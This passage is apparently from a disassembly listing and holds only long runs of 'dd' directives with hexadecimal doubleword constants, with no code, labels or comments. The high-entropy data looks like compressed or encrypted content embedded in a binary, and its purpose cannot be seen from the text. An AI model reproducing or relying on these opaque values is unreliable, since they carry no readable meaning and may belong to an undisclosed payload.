3B0AEF90h, 618021BFh, 0F6CD0E02h, 0D400A93Ch, 7894C04h dd 120BF2h, 74A22B98h, 7A566234h, 547B020Fh, 0B5C580FEh dd 0C20680h, 0EAC37837h, 32E0AC1Fh, 8C0940C1h, 0BC01111Ah dd 5067CC74h, 6D02751Dh, 0DC8BF400h, 2D66A1h, 0D4CC4661h dd 11991FE6h, 4B490300h, 1B0E8C20h, 0BE240098h, 42672E21h dd 8CB31075h, 58705057h, 9A048F24h, 22462A00h, 73DC4B9h dd 10C97B78h, 89F56228h, 3E358CC0h, 9845802Ch, 954AEE00h dd 1D0211h, 0B8604F5h, 0A21359D5h, 68393B00h, 66D60943h dd 3B81E24Dh, 2100BED0h, 0C30A5F76h, 980025B3h, 4B43CE08h dd 0E138D10h, 0A9405314h, 5A776940h, 2900DFCCh, 0D592F833h dd 73F66AFh, 0D40F0265h, 159630EAh, 4B00170Dh, 612F371h dd 3A52E98h, 58353028h, 5DB0D00Bh, 0ACB0934Dh, 2613344h dd 0AC20F0CBh, 9C53D9DEh, 43FDA57h, 1DD500D7h, 142B3DA3h dd 31D6AD00h, 36CBD708h, 2A9229D8h, 0A5005434h, 81642722h dd 7936DFh, 38313DD5h, 74630AA0h, 0B450609Ch, 183F671Dh dd 0B2B7C12Ch, 21BF01h, 87C22273h, 5E2E850Dh, 18C00C9Fh dd 0C1FC121h, 47C03C22h, 802375Eh, 964A049h, 0BA9C17DAh dd 0ACD4C391h, 21050930h, 1C9CD2E9h, 0C004480Dh, 53CF46C1h dd 0FB00118Fh, 81A9B2Eh, 0E0FD43h, 979CC816h, 0DC616342h dd 7C41AA5Bh, 0D76FBC38h, 250EAEF4h, 10415906h, 192180CDh dd 1AA26FB4h, 36323AE2h, 45764D80h, 0EEBEE11Dh, 98305C75h dd 332A6013h, 0E8E700C1h, 2372D993h, 0D8E96402h, 221844D1h dd 8BF91FE1h, 0F30B004Eh, 5A53D614h, 0E25371D9h, 5274201Ch dd 0ED00B891h, 78A52A88h, 8C0EBD23h, 0EF22C2BFh, 3EB39464h dd 763F0071h, 576763E4h, 74D466C1h, 9E004170h, 21BCBE54h dd 5118C78h, 7AB32742h, 0E68C0CBFh, 3D2023B8h, 60DF7971h dd 0FEF3B192h, 5825F5C4h, 76C04870h, 3844868Eh, 8000BEA7h dd 0D0EC9F52h, 0C9020B33h, 92488782h, 0E11C8383h, 0F499006Ah dd 0AC646213h, 9120A38h, 2054B168h, 62308h, 91B49CE0h dd 44863436h, 9CE6E320h, 0D2014A00h, 6944B43h, 0E7FB0034h dd 0B0EDB9EAh, 0E0D41FC7h dd 8C16E854h, 5687B201h, 0D6122001h, 28D4DADCh, 3340EEE0h dd 0A0310DB1h, 0F9F757D0h, 0FB0031F2h, 0B7A6FE8Fh, 7B496AF3h dd 0B12900C7h, 6E7922E0h, 9205287Ch, 71DC4D54h, 0D587EC01h dd 44E8F386h, 25028FDh, 839508BCh, 706A338h, 79144Ch, 1C0BE8A1h dd 610D245Ah, 49DCA407h, 9EC04B20h, 0F5DAB9h, 8B94F135h dd 8196C56h, 0DC31EF7Ah, 0CB15804h, 3E59B980h, 97A60EADh dd 52FC7803h, 0CF6DE26Eh, 4CD361F2h, 6FB3049Ch, 62D642E0h dd 0AB1620D0h, 0A700BB6Fh, 42FD7D1Bh, 0C40B98F5h, 4010B270h dd 2181693Bh, 0B92E0057h, 7711F1A7h, 780174AAh, 0AE41A9FBh dd 0B892C224h, 0F220B0BBh, 6CF5D902h, 808116F1h, 2B7B5848h dd 0E9DA1D2Ch, 0B03B9288h, 762846E0h, 0C200F8B8h, 0CF793FA6h dd 49E1D12Ah, 82004067h, 0EC7441C7h, 0D47D66C5h, 80188695h dd 0DFA70321h, 0D1CEDD41h, 0C405CBF9h, 5B12C9F4h, 2854DCB0h dd 456181ECh, 10247599h, 34763291h, 0C830D470h, 0EC731141h dd 807688DDh, 0B241E0A8h, 0E731A067h, 0CBA76039h, 0F2D4E980h dd 1DF70456h, 3B148103h, 88AB7BACh, 39AEF6CAh, 0F312E494h dd 0DB90B0C4h, 348FD75h, 88C284DCh, 0B063D901h, 9FB9804Fh dd 28BB2E4h, 0A1E20480h, 0A9E5DF03h, 9B940430h, 1C836956h dd 30897CB0h, 74211F49h, 3200EC1Bh, 0B4DC839Bh, 170E8FBh dd 7F533FFCh, 3054EE22h, 9443094h, 92A7F20Dh, 0A9FC02ECh dd 0CADFE449h, 0B8E0CC4Dh, 4059A687h, 0A0135377h, 0A400C303h dd 2BC18889h, 0B9DD6D90h, 9310F2D8h, 80894B06h, 11C41D44h dd 0A4FA50AAh, 0D7A0EF0Ch, 9CFA50DBh, 0EA768444h, 71B0C253h dd 0DD8E3720h, 0E82C00C0h, 9141780Fh, 63009CB8h, 48B60AF4h dd 37A689C9h, 0C4A81195h, 201C89AFh, 0B01AEAC4h, 468C943h dd 0B067B884h, 587C722h, 0C4C0A4B1h, 286F220Bh, 48A8DF49h dd 0AA0F2E59h, 1A4CDB42h, 6A00E7F1h, 5334B25Dh, 713C03h dd 2AA3EDE4h, 0E82F74B9h, 0E98B5B02h, 6F1E01B0h, 80A76494h dd 60E19D28h, 88EA6109h, 48C8213Fh, 0EC3353D9h, 7B301DA2h dd 30855816h, 0B416B89Ch, 93EC4205h, 50436F9Ah, 0B5207882h dd 3AC7C1CCh, 0F9D017h, 0D63C5031h, 69E96168h, 0DC8E9107h dd 38CFE597h, 0F28DF48h, 0F1205859h, 0AE34A320h, 9700FCAFh dd 0D665A5Dh, 4268B8Ch, 41554F68h, 2389705h, 0D504CEC3h dd 6092E8C3h, 213AA4B9h, 0BAF83B70h, 0AA9B0F09h, 50CD26Eh dd 9CCC8397h, 23882F38h, 4E0A0B07h, 0FDBF6683h, 46335990h dd 538C891Dh, 0B146DCA8h, 0C4227102h, 17311D87h, 220ADF10h dd 750166E2h, 0E0B29BF8h, 43E84613h, 0DCE849F5h, 6832F06h dd 7904C06Ah, 2A47B0ECh, 4E0A38E8h, 2C881835h, 0C1D30A24h dd 0E1F1288h, 489011B8h, 12D722D8h, 4AD0ED41h, 5C58C9B8h dd 9B071946h, 30E24612h, 0CAB59020h, 0C5AE890Dh, 8440882Dh dd 4ED5CDA2h, 0A5DC8CC9h, 44872B28h, 20F4E0C4h, 0DC7C3200h dd 0D323986h, 74D82155h, 8E600ECCh, 8B72276Fh, 61328420h dd 0DB491031h, 7BAD91D0h, 77D1DF07h, 703052E4h, 24BDC7BFh dd 8528A5A6h, 98D22AD0h, 4108C218h, 0C4EDEC71h, 0DAA24075h dd 128AA141h, 436E9B97h, 40FDC330h, 431CC8ADh, 0F59E540h dd 0B4C6D24Fh, 4309B265h, 0C9A605A8h, 0B7B03AA8h, 27C39003h dd 0AB4E9h, 0FEA37621h, 6ED91C12h, 0F009DC73h, 0CFCC332h dd 41CA78FDh, 0AC90006Ah, 8F09554Ch, 842172A4h, 80ED1D52h dd 0D4162238h, 92482714h, 5B11196Bh, 5E8700D2h, 88A12339h dd 588C33EFh, 1D4510C0h, 82A0C22Eh, 0C78A2BB3h, 720AC8AEh dd 7B7A808Ch, 0BDFC827Ch, 0A4F83801h, 5C55FF1Eh, 0BAC031CDh dd 0EA72AC9h, 0E5410CD4h, 0DA9812FCh, 9C940D78h, 0D0B086A8h dd 7A7C313Eh, 2CA20586h, 20B2ACC4h, 0CF39AE94h, 1E9BF100h dd 0A082303Ah, 0D9C81683h, 984C14D1h, 58582C8Dh, 22081078h dd 0C41587C1h, 9C2401Ah, 79CD3722h, 0D8E00DFh, 5C922BA7h dd 6159E171h, 4889276Ch, 4D5F0D50h, 0EF06289Ch, 7823B788h dd 6297D909h, 11B81D2Ch, 0FCB7811Eh, 0B0F402DDh, 7F2B2833h dd 0CF520C8h, 58FE6301h, 43A06A7Ah, 81D880E2h, 821FD9AEh dd 2D860040h, 4759B8A8h, 2B342509h, 22E082CEh, 62504084h dd 0FD16155Eh, 0F098988Ch, 0AB67B439h, 0C375A6E0h, 8193F847h dd 0D2ACD120h, 0AA1F0252h, 5E0DDFD6h, 0A3638090h, 0D902C899h dd 6A24E598h, 9605A3Ch, 81BE9B92h, 160534FAh, 0CA9CC9D0h dd 11052CC1h, 0C056E100h, 0F45CD01h, 0B9EF083Fh, 9C380424h dd 4465C5Ch, 0A1B124h, 828D8055h, 10B8F687h, 2B594E10h dd 0B32DD000h, 1CE11A77h, 0E6018B0h, 0AA8B2999h, 48B0C391h dd 59782B49h, 1BAD660Fh, 8FF44170h, 15F4F803h, 9AA1FC1h dd 840B956Eh, 0FB80D23Ah, 63557BE7h, 4305287Ch, 49DAC740h dd 5E527880h, 711E64E5h, 1D8A4B1h, 1884AA00h, 68E647EEh dd 35B70093h, 92639827h, 0C6514B85h, 0EA77D8FCh, 9D24617h dd 80112008h, 7D10D59h, 0A03B0C2h, 0D3580C77h, 9CC590BFh dd 0DEE63Eh, 721BF4D6h, 78227C6Eh, 0DCC9C400h, 9B12F171h dd 0EFD4A85Ah, 0A2C28F5h, 0F9C400E4h, 8B95AC83h, 0DF80DDCDh dd 8C0C55E3h, 0A4C5F443h, 69037300h, 2500F89Ch, 0FEA56B2h dd 1BA4942h, 6C8E3CF1h, 0E887BCE7h, 6D5930E5h, 98090450h dd 44B319D6h, 0AFB2B23Ah, 94A1F028h, 52970CB7h, 0C848BB08h dd 32309392h, 0F5C3988Fh, 590C6368h, 40C142BEh, 6410830Dh dd 0C87F683h, 2D491D28h, 3809F1C1h, 0C4C90525h, 5D931CB0h dd 0CB1E40E8h, 0BF0CD4DAh, 724F2B02h, 82D2C9B9h, 488941C0h dd 3C9328E4h, 0D928B12Ch, 42552CF0h, 1BDF8954h, 0E70314FAh dd 0DEBF0F8Ah, 5E402CDAh, 8811904Ch, 41C5C0D3h, 3546EC0Eh dd 0A5007E22h, 0E7D41DDh, 1C1A6188h, 42D1BFh, 8286AE1h dd 0A8A0D905h, 1132B0F0h, 0C06098D6h, 1293122Ch, 4B197E5Ah dd 1820C0C8h, 0E236B1A9h, 960AFB17h, 0EDDC32h, 0E1DDBB57h dd 0C9816660h, 95E3431h, 43D2FC0Ch, 8CC4988Ah, 5BE0D4D9h dd 6E2DE898h, 43146A97h, 418AAAF4h, 1084EA38h, 0C8C7CB93h dd 0BAEA89CCh, 0A46F890h, 0C09CDC02h, 1331D691h, 9CD4EF10h dd 0DE077E77h, 0D398EC09h, 879409C9h, 1B2615A4h, 8B113DC8h dd 0DFF87DB0h, 90AC5F0Bh, 87AD890Bh, 618410CDh, 0F8C2827Ch dd 0D001059h, 0C0A55D44h, 8FD1DC4h, 9F6D8043h, 6C4D3A88h dd 91DAFE02h, 0C469BE83h, 6876F3D8h, 0D96FBA02h, 0C731BE42h dd 0B21B2180h, 555B8D6Fh, 8B893702h, 0A0089663h, 0D1AE87A0h dd 0F8C0BA12h, 5261FE57h, 0C00230E0h, 0CE42DB6Fh, 150098E7h dd 45F36FB8h, 0F44F00D2h, 9394659Fh, 0B0C07026h, 0B8D82B58h dd 2866589Ah, 1E68CA11h, 42824B3Fh, 0EABFB1B7h, 400C8024h dd 13437485h, 0C267E015h, 0E9201240h, 0FDD7C6h, 0F4A46D27h dd 9FAEFBB1h, 373A8D79h, 8F9B89DEh, 0BF0200A8h, 965948A9h dd 0FD430EF8h, 649018EBh, 88B48C62h, 6170B08Dh, 99491840h dd 9168B402h, 9CDB8005h, 962E91BDh, 0D3F0587Ch, 42D59C58h dd 5FF101B0h, 0E303499Eh, 0D43CDF31h, 6810C927h, 78808342h dd 192E6049h, 0CD7764B7h, 4B844813h, 0CF73F042h, 0C938C01Eh dd 6CD8A21Ah, 0F3820AB8h, 1A0D483h, 73B0AF38h, 97C20C4h dd 9CD7048Ch, 62CE91B9h, 2FEC201Eh, 1F01649Bh, 9D97C707h dd 608B403Fh dd 0E4004EA7h, 701D42BDh, 6327F092h, 1AB01008h, 5C4316A6h dd 2DC8201Dh, 7A2C550Dh, 0E680EC2Ch, 0F8154460h, 9740C307h dd 84E45E9Bh, 0A9BEC614h, 6B79A8B9h, 7B1DF218h, 0F589A947h dd 0FFA0E008h, 9459034Dh, 84540DB2h, 6FE26102h, 0A995E125h dd 6430E538h, 0AB3E607Fh, 652D0046h, 767BE3C5h, 821C44EAh dd 70B2686Fh, 0A9FC20C1h, 4802884Ch, 554689E3h, 62E08F07h dd 0A4BD832Bh, 0EC8B63ACh, 76C0CCC8h, 0B21D958h, 0CFDC6392h dd 0E8ED1402h, 0CA18DCD0h, 3C31E0A7h, 0FBFE0046h, 0BC4A1AA1h dd 5A1E671Ch, 0D90F7E1Bh, 40CDE987h, 49B1C1E0h, 82006080h dd 0F394409Ch, 0D4A275BEh, 5F70A853h, 1768E0E7h, 916B5D9h dd 7C60BAE0h, 0A013EA78h, 9400C5A3h, 5E0BE0D4h, 0B97A2EDAh dd 2D2A6064h, 0C506C0F4h, 71AC6C75h, 73E775D8h, 37E80BA3h dd 84C972C2h, 97B917D3h, 811E91FCh, 99FDB158h, 0D85259DDh dd 91C20020h, 0B9D3C693h, 89DE6861h, 724AC5h, 1F02BD38h dd 17F5D95Eh, 0C28668DEh, 0FCD114B2h, 927402ADh, 3B5DDA7Bh dd 0E184860h, 0EC79D203h, 0D038A38Eh, 2274B497h, 3D00174Ch dd 43982B1Eh, 16F53968h, 0B796D55h, 1CE4D27Ch, 6C223300h dd 386E8AF3h, 67A409C9h, 0A01073DCh, 582CE7FCh, 46768CC5h dd 941B0B1Dh, 29AE0B9Bh, 0E88898ECh, 85FB1619h, 69846072h dd 0C1413FA0h, 0C65A801h, 2C098462h, 6C66B5D8h, 0C8220D05h dd 9CA27D87h, 2206C3C3h, 4C1A23A8h, 80009899h, 595FC8A2h dd 0E8584845h, 0D9F6F903h, 24C334EAh, 848CC7DDh, 30D82218h dd 0F1341DCh, 0D88B3DECh, 541F47Fh, 52BB9E91h, 0E2ACE263h dd 2D9130C7h, 71609506h, 7B897D45h, 0BE8B12C1h, 9728016Dh dd 2C2074E5h, 0C8B4CB74h, 27F2BF4h, 0C9B7333Dh, 8957A59Fh dd 8AA005D8h, 48010E0h, 0A904E737h, 0FA188849h, 81B14438h dd 7EDC78C9h, 8C68BD32h, 6016F001h, 0C4EF2CEBh, 0D72F13A0h dd 19C00772h, 0D544944Ah, 1041DB60h, 0C425EC26h, 41D3F873h dd 657F017Dh, 541542CBh, 87C9001Ah, 80B4BCA6h, 7792D9F2h dd 0CA0757E4h, 0E7B0EFB9h, 40A46F5Bh, 8C79AD97h, 17F9D2Fh dd 639809C0h, 0B4ECC4EEh, 0D548DC8Ch, 0BCD1158h, 3FBFA00Ch dd 0A5180760h, 5B180849h, 0A02F54B0h, 0AC38A91Fh, 22080E18h dd 0C46587DBh, 7C84013h, 16D4A22h, 81460BDFh, 381E61AEh dd 90E08EC4h, 1947580Ah, 791108D4h, 0E788EF05h, 213804D6h dd 3C880BE5h, 9B243861h, 364A80F4h, 52CDF43Fh, 0C179B614h dd 954611D0h, 60C76278h, 0E9001499h, 45CD3B88h, 0C11F172h dd 0C678A7Bh, 1962C442h, 88ECF477h, 60E05B32h, 0E820E0DCh dd 8BECBC74h, 0D41F9155h, 59816B91h, 6045921Ah, 6840508Ch dd 9A9312BBh, 1558C065h, 70B46BACh, 59943289h, 1D51194h dd 0AC47E782h, 58747683h, 0FEA241DBh, 5AC0DCCDh, 0CED57Eh dd 2F430426h, 0B1394212h, 2E080749h, 0BB002303h, 0E4FAF224h dd 0EFDF2677h, 0F51640D4h, 0A90AC08Ah, 48723E83h, 162B4340h dd 8070E04Fh, 31CF2D8h, 120EDC76h, 0AC95000Ah, 438A70Dh dd 545E8BC7h, 0F2F895C8h, 307FE27Ch, 1809AE37h, 0E90371h dd 0F13F5A71h, 0CBA63D99h, 44D28B97h, 0BC61411Ch, 8C07BC18h dd 5B93BF1Fh, 5E1CF5C0h, 0BADCE542h, 4EC89870h, 2BC002AAh dd 80E09227h, 1F0C2EA1h, 0D830114Dh, 4F7C0663h, 1019E1ADh dd 0C898ED09h, 0D298000Fh, 3C43859h, 926142DCh, 50FEFA93h dd 13305805h, 8C3A9A71h, 0CE0E7D23h, 2CB960F6h, 0FBFC8CFh dd 0FCC35D14h, 0DF947420h, 0E62463D5h, 0A0087851h, 54904B4Fh dd 5B0298ACh, 8BA05E74h, 63906FCDh, 0C08CA449h, 72DD9314h dd 18DA8Bh, 64831661h, 0F4A09584h, 0FF5C593Ah, 2F24A3Eh dd 0DAB1BF97h, 0C47067D9h, 8732601Eh, 4840101h, 996FDB49h dd 0F4402AA7h, 5212273Ch, 0BBBE3B28h, 2B90F704h, 4DCA878h dd 0DBD4A689h, 8A9B8D4h, 97182931h, 4D010AC5h, 7FB0E9EDh dd 0B17843D5h, 0BC5CCCA4h, 56789686h, 8062C721h, 69C083A8h dd 16F2AD67h, 0F388A4BEh, 0A3C664CAh, 3013E244h, 2B4A875Ch dd 7619088h, 15D5B268h, 0F8C09F5Dh, 6DA41ECEh, 58A1BA00h dd 839FD6FFh, 913901F9h, 0F379BF04h, 9503C86h, 612AED43h dd 0C42638CCh, 20E23EE0h, 87149DE2h, 1CA097A4h, 30122CD4h dd 22200087h, 0C3FEABh, 0C7CA8C89h, 0C9107254h, 6361E1F8h dd 0FECE58C9h, 4474F4h, 0D7F212A3h, 5D77F175h, 1E761703h dd 92796E91h, 3044ABh, 0CC244328h, 0D86D59Fh, 0B8B67013h dd 0E3DF708Bh, 4FC3DD00h, 31DCFBAh, 0BBD04BF1h, 0C1D48382h dd 2F633E00h, 90E4B84Eh, 82B4AA1Dh, 8BFD2BC1h, 0D08704E0h dd 0C3A725Fh, 6001C23h, 0B22499A4h, 0E9E60465h, 0A83E53E8h dd 675E08CCh, 4FE202EBh, 9C67EF49h, 8C600864h, 9B00DBAEh dd 34428078h, 49AA3F51h, 9C3E64CAh, 90E79680h, 0D232A063h dd 0F39A3800h, 73C0B2C2h, 97FC06B8h, 0A0E274AFh, 0D66CDA48h dd 68854094h, 89A59500h, 90FF0B99h, 20ED22B4h, 5B074013h dd 83027008h, 0DFB13236h, 16FC3058h, 9091DE23h, 0ED002CC5h dd 3BFD1388h, 22589C36h, 3D4C29F5h, 97B216D1h, 0E541C830h dd 681062D0h, 94419B95h, 37E4401Fh, 0E018DAC2h, 16B911E6h dd 0D1DB4A85h, 22373428h, 301DF224h, 0F900DE50h, 7AD9B638h dd 9069EA72h, 2AB4608h, 87C6220Fh, 1FCE76Dh, 2F2208C5h dd 0B0203B51h, 648B4Dh, 5FCCE85Bh, 0DBA0EA1Ch, 0D9A80595h dd 6822F4B1h, 32208384h, 6FB930D9h, 0A642DA17h, 1184838h dd 3FE06FB1h, 0E0FA26B3h, 7525B094h, 20CC48E1h, 715B3F9Ah dd 52930373h, 0A9BCDBE5h, 0F8B37CA8h, 37A0EF1Ch, 1402265h dd 44011A17h, 32470BDFh, 21C6CCC4h, 0C0FB5CAAh, 19732608h dd 1054444Bh, 487FBD5Eh, 0D72F13B4h, 4A2FF889h, 0C420AA6Ch dd 59284003h, 0B0EAE230h, 5DC21B8h, 0D0279691h, 8866FC4Dh dd 24E88290h, 0B44A1248h, 33A0060h, 0C4D401FEh, 60A9185h dd 1D4F9C3h, 81FA10C8h, 8214881Ah, 20A14E87h, 2B20485Ah dd 2D18C433h, 69EF040Ch, 18BC18ACh, 8992178Ch, 83140441h dd 84F406CCh, 0C68B22B0h, 0A06C6531h, 0B4536246h, 0CD299D6h dd 12898020h, 0E91F8D56h, 0CB6B1870h, 274E8B38h, 0A0EDE2DEh dd 44057990h, 0D51178E5h, 5D70C8F0h, 0F33EFD73h, 51BB05CBh dd 0B4B2B974h, 5EB5E101h, 20EBB834h, 8B4CF48h, 88303424h dd 0B971323Bh, 6660C204h, 44200209h, 5E045A61h, 0DAB80A06h dd 3B6D11C0h, 5F9121Fh, 0DEA74421h, 897C8C33h, 398441C9h dd 1649012Dh, 0AE831980h, 1DCC5A86h, 0E9C95901h, 78BB60ACh dd 53C15870h, 16A2DCCAh, 1C660D31h, 54A9FC00h, 1FBB3EF3h dd 0C6D170B9h, 0EA774418h, 0B44BB15Fh, 93D0C882h, 0D2150BFBh dd 0D0EBE7A8h, 624451A0h, 928D33Dh, 91D985EAh, 0D02BE138h dd 8481C3A0h, 0C2A36005h, 20AC63BEh, 248C20E8h, 39E83D67h dd 0F0B8060Bh, 9317D418h, 2CC12E4Eh, 829E2DFh, 7A837C09h dd 79095870h, 0A177AD8Ch, 15AE8BA8h, 0B7B8C8C6h, 604AB8B8h dd 24E1C806h, 37E6E882h, 18211F06h, 5686410h, 8ED020E7h dd 1A840003h, 0CF340E94h, 465C5CBCh, 815D3E7Ah, 0E29795FCh dd 0E5E00C5Bh, 0CCC31643h, 0C8D08B9Ch, 4E63C004h, 1C389622h dd 6C89A6BDh, 754674h, 0A9AC176Ah, 83BC012h, 2DE9DF25h dd 0A80154A4h, 39CD9207h dd 23D02F3Fh, 0CF300076h, 0BDA6872Fh, 0F1C02E50h, 9D4D900h dd 0E05797B7h, 25DA7991h, 946BB973h, 0FB0B22C0h, 0AD84E800h dd 447CE7BFh, 3F341726h, 0C81CCB49h, 131C079h, 0E7049BB1h dd 56FB94E4h, 0C41898A1h, 0A932579h, 32EF1840h, 0D78D1610h dd 0F0210207h, 3CA29B80h, 6CF2A6FBh, 80944C5Ch, 596C20AEh dd 5A0D24DBh, 4F1A4088h, 30EB9415h, 7D022018h, 0D0E24CA9h dd 70F45B29h, 3C000704h, 951FE6Eh, 49DFFC1h, 87C9D7A9h dd 237CBCDDh, 9C823D07h, 343E91B3h, 0EE4088F1h, 88A9CD5h dd 0EA25566Ah, 38C9CB3Bh, 4E2B9008h, 0FDD0C88Eh, 6B3420h dd 0E47752BBh, 0EA207BB7h, 0DF28BA98h, 0A912401Bh, 4121A5Dh dd 13237C3Ah, 3CA1CB03h, 261E83F8h, 0A50DA70h, 2C789DA7h dd 5427DCECh, 838C416h, 67DCFD41h, 0F7839501h, 847C1FA5h dd 6243C7E8h, 0E7289B00h, 39550718h, 8435125Eh, 1AC81CCAh dd 4C99A0CEh, 1689B40Eh, 0A398EFF1h, 0E2A84204h, 2AEC301Bh dd 6A9A0500h, 71F7473Fh, 51AA582Eh, 70781F29h, 0E866133h dd 2DEE443Fh, 7DDBBCA0h, 718E382h, 4790EB1h, 17F403DFh dd 0B368DDFEh, 0BA31D1F8h, 252DFC01h, 0EA72373Bh, 2870206Ah dd 0BB2D3243h, 0E470C502h, 0AE3C60CDh, 6EF4005Fh, 6BC19FFCh dd 0FD2E940Ah, 2C8070FFh, 0A347E1D9h, 0F4409A2h, 0C0C8E2D5h dd 45008DB3h, 0FFD083DBh, 0AE6643h, 0EBE98124h, 405F7561h dd 6C1DD975h, 63C94476h, 0AAFC68ABh, 389C0C9h, 604F5841h dd 6D07F100h, 0F8AF2CA2h, 0E0B6FE2Fh, 151A0077h, 7DE47380h dd 1216E666h, 34CB0F68h, 63C0C5C8h, 0ECB0ED5Dh, 22E0C016h dd 7E81D41h, 0F37CB0BAh, 4A796840h, 4978815Eh, 9561072Ch dd 0EC283D1Fh, 7621A7E2h, 69015BEAh, 8D28680Fh, 0AC6021B7h dd 951C40B0h, 0A0D38B24h, 0C4F54384h, 3807C8B8h, 861DC101h dd 1F611103h, 8ABD4158h, 4FB84C6Dh, 11144C1Fh, 0BDC20400h dd 2E7C5143h, 80EC1693h, 96E75759h, 70D6AD88h, 10D7E012h dd 914E8961h, 0C0126428h, 23803B38h, 0F3400331h, 18B83ABEh dd 0EF4A98ECh, 0E2D8D818h, 0E1FD006Ah, 0D3C935B9h, 5896AC63h dd 0A41C5760h, 541D1042h, 48383F0Dh, 8CCCE87Ch, 35CD9800h dd 15FCE731h, 43D504C4h, 0ECBD3736h, 0FC335EFCh, 8440AD49h dd 1608E655h, 73720078h, 0CCDAD04Ch, 0DD0C6985h, 29E10132h dd 0E4179529h, 0A8871B91h, 8FDC303Fh, 0CA1F99AEh, 586732B8h dd 22184E4Ch, 0BE30DE68h, 42DD3D6Fh, 648BDEh, 696FB617h dd 13B4A87Ah, 0B03244C8h, 5B8090E8h, 1B04271Dh, 29780010h dd 4FA05380h, 0C4BCC7AFh, 648FD42h, 3C43886Fh, 85895818h dd 0E924015Bh, 3E1FE8h, 150722h, 395AE04Bh, 7F68D9F0h dd 8048CC3Ah, 8659AC62h, 0E210ED30h, 7882564h, 0AE878860h dd 4C762927h, 60F08DC0h, 25ECE408h, 45BF23Eh, 0E1DF273Dh dd 0FB1280A2h, 2E7C5CA2h, 16174340h, 74762890h, 72808C91h dd 0DF066C4Bh, 41FA60E6h, 808EF394h, 1CF06082h, 0E4B18011h dd 0D29E0C2h, 827CFC5Bh, 429B0A5Eh, 9A97B0F8h, 0BC861E4h dd 0BFF6D918h, 0C5DE9125h, 0D1EA80C8h, 67F3A79Ch, 0AE63E716h dd 580D1C21h, 7F98316Ah, 979F0033h, 181C69E2h, 7F796051h dd 0CC308C18h, 0ED2FB0C4h, 98E252F7h, 0F601BF00h, 5A9781E1h dd 4781986Bh, 80F16FF0h, 0CDAFD220h, 0AE850A54h, 7490B444h dd 38011346h, 0F544E8CAh, 0D4406BFCh, 0AD63D9BAh, 0DEDC4A1Bh dd 34BC8048h, 9164043h, 0A1E787FDh, 482894A7h, 0F0A4A902h dd 8B585C1Ah, 0D4718B16h, 1065888h, 0E6E04217h, 0AC39802Bh dd 0D6B333B1h, 4F34B40Dh, 0BF5B8C20h, 970741F8h, 3DDC4366h dd 0DAC0C5F3h, 0E64082FCh, 930A202Ch, 3490666Ah, 0E85A5B24h dd 4AA0D695h, 6CC8F4CBh, 9DAE28C0h, 9900082h, 0FD444272h dd 0F09405ACh, 0C2E9F986h, 4054F8E0h, 0A54EBB09h, 0C4C8E08Bh dd 54E2ADC2h, 0CFA68FD4h, 98868340h, 64064287h, 6E600DEDh dd 94632D21h, 5D4E8810h, 9F1A1940h, 64D1FC4Ah, 0A5182079h dd 4CA7EF28h, 0A20C0800h, 6D847F4h, 0EE2000AFh, 42AE8BFFh dd 22B5D994h, 0F37BF048h, 6306704Ch, 2A18540Fh, 5C518348h dd 3F59F86Ch, 5ED90255h, 0C9C6961Dh, 0CE0814F6h, 6BE10D77h dd 466AD469h, 71738302h, 0D4B45645h, 0BD429F0h, 0A412E155h dd 1879D0D9h, 0CD056A18h, 67A0EF9Ah, 0A73884ECh, 64A0692Dh dd 68D1815Fh, 0EE4574B8h, 46E2Bh, 0B153707h, 28A011D6h dd 5F849F09h, 435C897Ah, 98B49834h, 0C0BC96A4h, 418E5B42h dd 3602DAF8h, 6718117Dh, 9FFEA460h, 17550842h, 80C691A4h dd 2BD0E47Ch, 980CA28Ah, 0AF96D8h, 0CF1EB9AEh, 741E322h dd 6A8A9D01h, 8FD8043Bh, 443C67D6h, 1070601Ah, 6B6D0020h dd 0E8EDF289h, 0BF3C42A2h, 2546172Ah, 4E5304C0h, 20210922h dd 68480A10h, 0F0886A42h, 178528E8h, 0DC88B4E0h, 0A4A1BE04h dd 38D04749h, 5EC9FC3h, 4E897357h, 201CA111h, 8C98014Ch dd 20EA5Bh, 802E794Eh, 5709FE63h, 13956E7Ah, 692010E0h dd 19E06317h, 0AAA82520h, 0EFBFF4E8h, 0F8FA0500h, 3CE11497h dd 358B0009h, 0D812969Ah, 0BC99E5E0h, 0E2DCC702h, 0FC04681Bh dd 9DF832E8h, 7E040398h, 0E2881645h, 471302C8h, 5E6A5CA7h dd 0D04676E0h, 49B04006h, 4201513Dh, 9D45E49Fh, 8090DECAh dd 50C12608h, 6440C569h, 0A9AF611Dh, 26DCBBF4h, 810C477h dd 9826CC1Ah, 1044674h, 10CAC3A4h, 0C070AA1Bh, 491A4015h dd 7021435Ah, 0AC21C697h, 2610086Ah, 0C0C4EDADh, 0A9381CD1h dd 4F12BDE6h, 0E78A0h, 55053005h, 0BCDAFB98h, 0ED410438h dd 0B1046C20h, 0E204D462h, 301EF210h, 0B002F3BCh, 7398374Bh dd 5C0257A8h, 1061D593h, 7D603070h, 14766140h, 0B0EA151Ah dd 93CE1210h, 823282Eh, 85ABB000h, 29A2358h, 0C7217F82h dd 0E85111A7h, 0BF87DF11h, 0B642726Fh, 1A61A459h, 0CEC86FB7h dd 647E06AEh, 71184999h, 0E43F51ECh, 81218F90h, 0C657A0AAh dd 98286729h, 2AF300A4h, 1F859207h, 230272C4h, 90B6BF7h dd 90AC6110h, 7DAF02DEh, 2344B4F8h, 209C0A7h, 6EE76F74h dd 7D3D8700h, 0E663DF72h, 918A7F5Dh, 1805D168h, 329F38D3h dd 0B522AD03h, 0F8E408BEh, 8C1CBC50h, 7AABA503h, 0B1E328DFh dd 17A8149h, 5E9B9460h, 0F60F0288h, 0ACAE1E7Ch, 97638B94h dd 79524B0h, 5A98ED80h, 8EC484A7h, 0E39CDCh, 0EB94412Fh dd 0A0958916h, 0C00BABB0h, 0DA613BDh, 0B234B314h, 1AF83380h dd 1D242DADh, 0D6182888h, 86D561h, 0EDEEC6BBh, 78A4E0B0h dd 64D22324h, 7D3E108h, 0AAF88B95h, 1EB00088h, 8A058107h dd 0D7726B03h, 2C55132h, 0A68BA26Ah, 88903ABAh, 0CC9869BDh dd 573B9FE6h, 1081258Dh, 27421278h, 1CC0DB65h, 0D6801980h dd 46BD0C24h, 0EF487731h, 1E4005E0h, 4A58B88Bh, 598483F7h dd 0F0C61008h, 868AC12h, 61110681h, 0B390EF0Eh, 0A68940D8h dd 0FC90494Fh, 833A47F8h, 152898F0h, 10FF4892h, 1E5BA2Fh dd 67B60332h, 0F4669724h, 4405A9FBh, 0D9C8B237h, 0FEC00CDBh dd 9B92FFB3h, 0F8642A30h, 4E381D5Bh, 7AAC2272h, 